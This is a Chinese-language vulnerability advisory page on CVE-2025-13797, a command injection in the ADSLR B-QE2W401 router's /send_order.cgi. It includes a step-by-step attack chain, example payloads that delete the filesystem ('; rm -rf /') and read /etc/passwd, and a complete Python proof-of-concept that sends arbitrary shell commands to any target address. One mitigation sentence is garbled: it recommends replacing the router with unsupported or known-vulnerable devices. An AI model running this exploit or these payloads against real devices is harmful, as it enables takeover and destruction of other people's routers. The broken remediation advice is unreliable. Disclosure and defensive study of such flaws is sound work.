IPBUF安全漏洞报告
English
CVE-2025-13797 CVSS 6.3 中危

CVE-2025-13797 ADSLR B-QE2W401路由器命令注入漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-13797
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ADSLR B-QE2W401 250814-r037c

相关标签

命令注入CVE-2025-13797路由器漏洞物联网安全远程代码执行ADSLR B-QE2W401Web安全CGI脚本漏洞

漏洞概述

CVE-2025-13797是影响ADSLR B-QE2W401设备250814-r037c版本的命令注入漏洞。该漏洞存在于设备的Web管理界面中,具体位于/send_order.cgi文件中的del_swifimac函数参数处理逻辑。由于应用程序在处理用户输入时未对外部参数进行充分的输入验证和过滤,攻击者可以通过构造恶意请求向系统注入任意命令,从而实现远程代码执行。

该漏洞的CVSS评分为6.3,属于中等严重程度。攻击向量为网络层面(AV:N),不需要高权限认证(PR:L),也无需用户交互(UI:N),这意味着攻击者可以在低权限状态下远程利用此漏洞。成功利用此漏洞可能导致敏感信息泄露、系统完整性破坏以及服务可用性下降。

根据漏洞披露信息,该漏洞已于2025年12月1日公开披露,漏洞利用代码已公开且可能被恶意利用。设备供应商在收到漏洞通知后未作出任何回应,这可能导致漏洞无法通过官方渠道及时修复。由于该设备为物联网(IoT)设备,广泛部署于家庭和小型企业网络环境中,漏洞的存在对网络安全构成潜在威胁。攻击者一旦成功利用此漏洞,可以完全控制受影响设备,进而可能将其作为跳板进行内网横向渗透或组建僵尸网络。

技术细节

该命令注入漏洞的根本原因在于Web应用程序在处理用户输入时缺乏有效的输入验证机制。在/send_order.cgi脚本中,del_swifimac参数被直接用于构造系统命令而未经过任何安全过滤或参数化处理。攻击者可以通过在参数值中嵌入shell命令分隔符(如分号、管道符、反引号等)来注入任意命令。

具体来说,当攻击者向/send_order.cgi发送HTTP POST请求,并在del_swifimac参数中携带恶意构造的命令时,这些命令将与原始命令拼接并由系统shell执行。例如,攻击者可以注入类似`; rm -rf /`的命令来删除系统文件,或使用`; cat /etc/passwd`来读取敏感配置文件。

由于该漏洞位于设备的网络管理接口,攻击者无需获取设备本地访问权限即可发起攻击。设备默认情况下可能启用了Web管理界面,且部分设备可能使用默认凭证或未修改默认密码,这进一步降低了攻击门槛。成功利用后,攻击者可以获得设备的root shell访问权限,从而完全控制设备。

值得注意的是,该漏洞的影响范围仅限于特定固件版本(250814-r037c),不同版本的设备可能存在不同的漏洞表现。攻击者可以利用该漏洞进行持久化控制、流量劫持或作为进一步攻击内网的跳板。

攻击链分析

STEP 1
步骤1
信息收集阶段:攻击者首先识别目标设备,确认其型号为ADSLR B-QE2W401且运行固件版本250814-r037c。通过端口扫描发现设备的Web管理界面(通常运行在80或8080端口)。
STEP 2
步骤2
认证阶段:攻击者尝试使用默认凭证或已泄露的凭证登录Web管理界面。由于该漏洞需要低权限(PR:L),攻击者可能使用普通用户账户即可触发漏洞。
STEP 3
步骤3
漏洞探测:攻击者向/send_order.cgi端点发送带有正常del_swifimac参数的请求,观察设备响应,确认漏洞存在及参数处理机制。
STEP 4
步骤4
命令注入:攻击者构造恶意请求,在del_swifimac参数中嵌入shell命令(如; whoami、; cat /etc/passwd等),通过命令分隔符注入任意系统命令。
STEP 5
步骤5
权限提升:成功注入命令后,攻击者通常获取root权限,可执行任意系统操作,包括修改系统配置、安装后门、窃取敏感数据等。
STEP 6
步骤6
持久化控制:攻击者可能通过写入启动脚本或创建新用户等方式建立持久化访问,将设备纳入僵尸网络或作为内网渗透的跳板。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13797 PoC - Command Injection in ADSLR B-QE2W401 # Affected endpoint: /send_order.cgi # Vulnerable parameter: del_swifimac def exploit(target_ip, target_port=80, command='id'): """ Exploit command injection vulnerability in ADSLR B-QE2W401 Args: target_ip: Target device IP address target_port: Target device web port (default: 80) command: Command to execute on the target system Returns: Response from the target device """ url = f"http://{target_ip}:{target_port}/send_order.cgi" # Inject command through del_swifimac parameter # Using semicolon to chain commands payload = f"; {command}" data = { 'del_swifimac': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(url, data=data, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_13797_poc.py <target_ip> [command]") print("Example: python cve_2025_13797_poc.py 192.168.1.1 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'id' print(f"[*] Targeting {target}") print(f"[*] Executing command: {cmd}") print("[*] Sending exploit request...") result = exploit(target, 80, cmd) print("\n[+] Response:") print(result) if __name__ == "__main__": main()

影响范围

ADSLR B-QE2W401 固件版本 250814-r037c

防御指南

临时缓解措施
由于设备供应商未回应漏洞披露,建议采取以下临时缓解措施:首先,禁用设备Web管理界面的公网访问,仅允许通过VPN或内网从受信任的IP地址访问;其次,定期更换管理账户密码,使用强密码策略;再次,在网络边界部署防火墙,阻止对设备80/8080端口的外部访问;最后,监控网络流量和设备日志,及时发现异常行为。若设备不再使用,建议更换为已停止支持或存在已知漏洞的设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表